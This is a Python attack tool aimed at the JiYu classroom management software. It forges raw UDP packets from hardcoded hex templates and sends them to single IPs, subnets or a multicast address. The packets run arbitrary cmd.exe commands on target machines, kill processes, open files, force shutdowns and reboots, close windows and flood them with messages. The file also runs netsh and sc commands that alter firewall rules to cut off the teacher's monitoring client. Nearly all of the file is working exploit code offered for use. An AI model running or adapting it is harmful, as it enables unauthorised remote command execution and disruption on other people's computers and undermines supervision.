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attack.py
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attack.py
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import socket
import struct
import random
import sys
import os
import getopt
import time
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= (data[i]) + ((data[i+1]) << 8)
if n:
s+= (data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
def format16(str):
l = []
for i in range(len(str)):
if i % 2 ==0:
q = int('0x' + (str[i:i+2]),16)
l.append(q)
return l
class UDP(object):
def __init__(self, destination,sport,dport,data=''):
super(UDP, self).__init__()
self.destination = destination
self.data = data
self.sport =sport
self.dport = dport
self.length = 8+len(data);
self.checksum =0
def create_udp_header(self,proto=socket.IPPROTO_UDP):
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(socket.gethostbyname(socket.gethostname())), socket.inet_aton(self.destination), 0, proto, self.length)
self.checksum = checksum(pseudo_header)
udp_header = struct.pack('!HHHH', self.sport, self.dport, self.length, self.checksum)
return udp_header
def send(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
except Exception as e:
raise e
data = bytes(self.data)
udp_header = struct.pack('!HHHH', self.sport, self.dport, self.length, self.checksum)
packet = udp_header+data
s.sendto(packet, (self.destination, self.dport));
s.close()
print('UDP Send Successful!')
class Data(object):
def __init__(self, data='',mydata='',effect='',nocmd=0,onlyhead=0):
super(Data, self).__init__()
self.data = data
self.effect = effect
self.nocmd = nocmd
self.onlyhead =onlyhead
self.header = {
#发送消息
"msg": '444d4f43000001009e0300001041affba0e7524091dc27a3b6f9292e204e0000c0a850819103000091030000000800000000000005000000',
#执行命令
"cmd": '444d4f43000001006e030000aa9218a2aa809246b7d5ad545b998dc6204e0000c0a81f0b610300006103000000020000000000000f0000000100000043003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c0063006d0064002e00650078006500000000000000',
#结束进程
"kill": '444d4f43000001002a020000ff520b222a07974684aeb80ea9c3a15c204e0000c0a8c5011d0200001d0200000002000000000000020000100000000001',
#结束进程 开始
"kill_start": '54524d430000010004000000ff520b222a07974684aeb80ea9c3a15cc0a8c581',
#打开文件
"open": '444d4f43000001006e0300003593442e858bcc4f9fa7cb5f09c127c0204e0000c0a8c501610300006103000000020000000000000f00000001000000',
#黑屏
"blackscreen": '4d4553530100000001000000c0a8c58127000000200000000000008001000000010000000a00000000000000ffffff0000000000a00520',
#关机
"reboot": '444d4f43000001002a020000bf40224e572d3e4f9b6fc18de1eb4f62204e0000c0a850811d0200001d0200000002000000000000130000100f00000001000000000000005965085e065ccd912f54a8608476a18b977b3a670230',
#重启
"shutdown": '444d4f43000001002a020000c8e397fdc0b59f45877205bd4e46a896204e0000c0a850811d0200001d0200000002000000000000140000100f00000001000000000000005965085e065c7351ed95a8608476a18b977b3a670230',
#关闭所有窗口
"caw": '444d4f43000001002a0200003dd66ec35ae75ac81b8bad50c5b0ca73204e0000c0a8019b1d0200001d0200000002000000000000020000100f00000001000000000000005965085e065c7351ed95a8608476945e28750b7a8f5e000000000000',
#关闭所有窗口 计时
"caw_time": '444d4f43000001002a02000088b3b065b0be56f920decdd2d8823e35204e0000c0a8019b1d0200001d0200000002000000000000020000000500000001000000',
#关闭顶端窗口
"ctw": '444d4f43000001006e0300004e1e91f07b48f68a3cda55563075967a204e0000c0a8019b610300006103000000020000000000000e0000000000000001000000e102020ba615e102020ca9150100112b0000100001000000010000005e010000000000000200000000500000a005000001000000190000004b00000000000000c0a8019b040000000c00000010000000000000002003e001',
#签到骚扰
"sih": '444d4f430000010026000000e9a680e905af21c1fb06301637bb65ab204e0000c0a8019b190000001900000000020000000000001b00000001000000030000000000',
#自定义数据
"mydata":mydata,
}
def pack(self):
data = self.pkg_data(self.data)
payload = struct.pack("%dB" % (len(data)), *data)
return payload
def format_4byte_send(self,content):
arr = []
for ch in content:
tmp = ''.join(list(map(lambda x: hex(ord(x)), ch)))
if int(tmp, 16) > 0xff:
tmp = tmp[2:]
high = int((tmp[0] + tmp[1]), 16)
low = int((tmp[2] + tmp[3]), 16)
arr.append(low)
arr.append(high)
else:
high = 0
low = int((tmp[2] + tmp[3]), 16)
arr.append(low)
arr.append(high)
return arr
def pkg_data(self, content):
data_header = format16(self.header[self.effect])
if len(data_header)<28:
data_header = data_header+ [(0x00) for i in range(28-len(data_header))]
for i in range(16):
data_header[12+i]=int(random.randint(0,255))
if self.onlyhead==1:
return data_header
data_data = self.format_4byte_send(self.data)
if self.nocmd ==1:
header_fill =[]
else:
header_fill = [(0x00) for i in range(572-len(data_header))]
data_fill = [(0x00) for i in range(1440-len(data_header)-len(header_fill)-len(data_data))]
data = data_header + header_fill + data_data +data_fill
return data
class CLI(object):
def __init__(self):
super(CLI,self).__init__()
def printUsage(self):
print ('''
=======================================================================================
| ________ ___ _________ _________ _________ __ __ |
| / _____/ / / / ____ \ / ______/ / ______/ __/ /_ __/ /_ |
| / / / / / / / / / /______ / /______ /_ __/ /_ __/ |
| / / / / / /____/ / /_____ / /_____ / /_/ /_/ |
| / /______ / /_____ / _____ / _______/ / _______/ / |
| /_________/ /________/ /__/ /__/ /_________/ /_________/ |
| |
| Your super computer class helper |
========================================================================================
仓库地址: https://github.com/arlenWKX
参考: ht0Ruial/Jiyu_udp_attack && bingyang1/my_jiyu && Qmeimei10086/class-killer
使用方法:
-h[help]: 帮助菜单
--------------------------------------必选参数--------------------------------------
-i[ip]: <ip> 目标IP地址,如10.49.6.1或10.49.6.1-255或10.49.6.1/24
这样的单个/多个ip或整个网段。
注: 224.50.50.42是组播地址，可用于全频道攻击。
--------------------------------------功能参数--------------------------------------
[m]essage <hello> 要发送的消息。
[c]ommand <cmd> 要执行的命令。
[r]eboot 重启目标机器。
[s]hutdown 关闭目标机器。
[k]ill <name> 结束进程
[o]pen <name> 打开文件
[b]lackscreen 黑屏（不可用）
caw 关闭目标所有程序
ctw 关闭目标顶端窗口
sih 签到骚扰
[g]etip 获取本机IP
stop 帮极域断网,老师能看到
start 恢复极域
--------------------------------------可选参数--------------------------------------
[p]ort <port> 接收方端口,默认4705。
sport <port> 发包端口,默认随机
[d]elay <sec> 设置循环执行的时间间隔,默认为5秒
[l]oop <times> 设置循环次数,默认为1次
mydata <hex> 独立选项,发送16进制原始数据,与其他功能选项互斥
------------------------------------------------------------------------------------
例:
Attack.py -i 224.50.50.42-224 -m "Test"
Attack.py -i 224.50.50.42/24 -m "Test" -t 3 -l 5
Attack.py -i 224.50.50.42 -c "for /l %i in (1,1,10) do (@pause)"
Attack.py -i 224.50.50.42 -k
Attack.py -i 224.50.50.42 --sih -t 1 -l 200 --echo -m "Ha Ha Ha"
------------------------------------------------------------------------------------
你的IP地址是:{}
------------------------------------------------------------------------------------
'''.format(socket.gethostbyname(socket.gethostname())))
def main(self):
if len(sys.argv)< 2 :
self.printUsage()
sys.exit(-1)
config ={
"ip" : "",
"port" : 4705,
"message" : "",
"command" : "",
"time":0,
"loop":1,
"reboot":0,
"shutdown":0,
"kill":"",
"open":"",
"blackscreen":0,
"caw":0,
"ctw":0,
"sih":0,
"sport":random.randint(1, 65535),
"mydata":""
}
arg_full = ["help"]
arg_abbr = "h"
for x in config:
if config [ x ] != 0:
arg_full.append ( x + "=" )
if not x[0] in arg_abbr:
arg_abbr = arg_abbr + x[0] + ":"
else:
arg_full.append ( x )
if not x[0] in arg_abbr:
arg_abbr = arg_abbr + x[0]
try:
opts, args = getopt.getopt(sys.argv[1:],arg_abbr, arg_full)
except getopt.GetoptError:
print("Bad parameter!"+"sys.argv:"+str(sys.argv))
self.printUsage()
sys.exit(-1)
for opt,arg in opts:
if opt in ("-i", "--ip"):
config["ip"] =arg
elif opt in ("-p","--port"):
config["port"] =int(arg)
elif opt in ("-m","--message"):
config["message"] =arg
elif opt in ("-c","--command"):
config["command"] =arg
elif opt in ("-k","--kill"):
config["kill"] =arg
elif opt in ("-o", "--open"):
config["open"] =arg
elif opt in ("-d","--delay"):
config["time"] =float(arg)
elif opt in ("-l","--loop"):
config["loop"] =int(arg)
elif opt in ("-b", "--blackscreen" ):
config["blackscreen"] = 1
elif opt in ("-r","--reboot"):
config["reboot"] =1
elif opt in ("-s","--shutdown"):
config["shutdown"] =1
elif opt == "--caw":
config["caw"] =1
elif opt == "--ctw":
config["ctw"] =1
elif opt == "--sih":
config["sih"] =1
elif opt in ("-g", "--getip"):
print('|%-62s|'%(os.popen(r'ifconfig |findstr IPv4').read()))
elif opt in "--stop":
os.popen('netsh advfirewall firewall set rule name="StudentMain.exe" new action=allow')
elif opt in "--start":
os.popen('sc config MpsSvc start= auto')
os.popen('net start MpsSvc')
os.popen('netsh advfirewall set allprofiles state on')
os.popen('netsh advfirewall firewall set rule name="StudentMain.exe" new action=block')
elif opt == "--sport":
config["sport"] =int(arg)
elif opt == "--mydata":
config["mydata"] =arg
elif opt in("-h","--help"):
self.printUsage()
self.send(config)
def get_iplist(self,ip):
ip_list = []
if ip.partition(r'/')[1] =='/':
ip = ip.partition(r'/')
elif ip.partition(r'-')[1] =='-':
ip = ip.partition(r'-')
if len(ip) > 0:
if ip[1] == '/':
if int(ip[2])< 33 and int(ip[2]) > 0:
bgn = int(ip[0].rpartition(r'.')[2])
end = pow(2,(32-int(ip[2])))+1
for j in range(bgn,bgn+end):
if j < 256:
ip_list.append(ip[0].rpartition(r'.')[0]+'.'+str(j))
elif ip[1]== '-':
for i in range(int(ip[0].rpartition(r'.')[2]),int(ip[2])+1):
if i < 256:
ip_list.append(ip[0].rpartition(r'.')[0]+'.'+str(i))
else :
try:
socket.inet_aton(ip)
except socket.error:
print('Invalid IP address.Please try again.')
return
else:
ip_list.append(ip)
return ip_list
def send(self,config):
for count in range(int(config["loop"])):
for ip in self.get_iplist(config["ip"]):
print(f'[time {count+1}]')
payload = {
"message": Data(data=config["message"],effect="msg",nocmd=1,onlyhead=0).pack(),
"command": Data(data= r"/c "+ config["command"],effect="cmd",nocmd=0,onlyhead=0).pack(),
"mydata": Data(mydata=config["mydata"],effect="mydata",nocmd=1,onlyhead=1).pack(),
"kill": Data(mydata=config["kill"],effect="kill",nocmd=1,onlyhead=0).pack(),
"open": Data(mydata=config["open"],effect="open",nocmd=1,onlyhead=0).pack()
}
run = {
"caw":Data(data="",effect="caw",nocmd=0,onlyhead=0).pack(),
"ctw":Data(data="",effect="ctw",nocmd=0,onlyhead=0).pack(),
"sih":Data(data="",effect="sih",nocmd=0,onlyhead=0).pack(),
"shutdown":Data(data="",effect="shutdown",nocmd=0,onlyhead=0).pack(),
"reboot":Data(data="",effect="reboot",nocmd=0,onlyhead=0).pack(),
"blackscreen":Data(data="",effect="blackscreen",nocmd=0,onlyhead=0).pack()
}
for choice in run:
if config[choice]:
print(" [%s]===>%-16s"%(choice,ip))
try:
UDP(ip,config["sport"],config["port"],run[choice]).send()
except Exception as e:
print(e)
for choice in payload:
if config[choice]!='':
print(" [%s]===>%-16s"%(choice,ip))
try:
UDP(ip,config["sport"],config["port"],payload[choice]).send()
except Exception as e:
print(e)
print("Sleep for {} s...".format(config["time"]))
time.sleep(config["time"])
print("Finish.")
if __name__ == '__main__':
cli = CLI()
cli.main()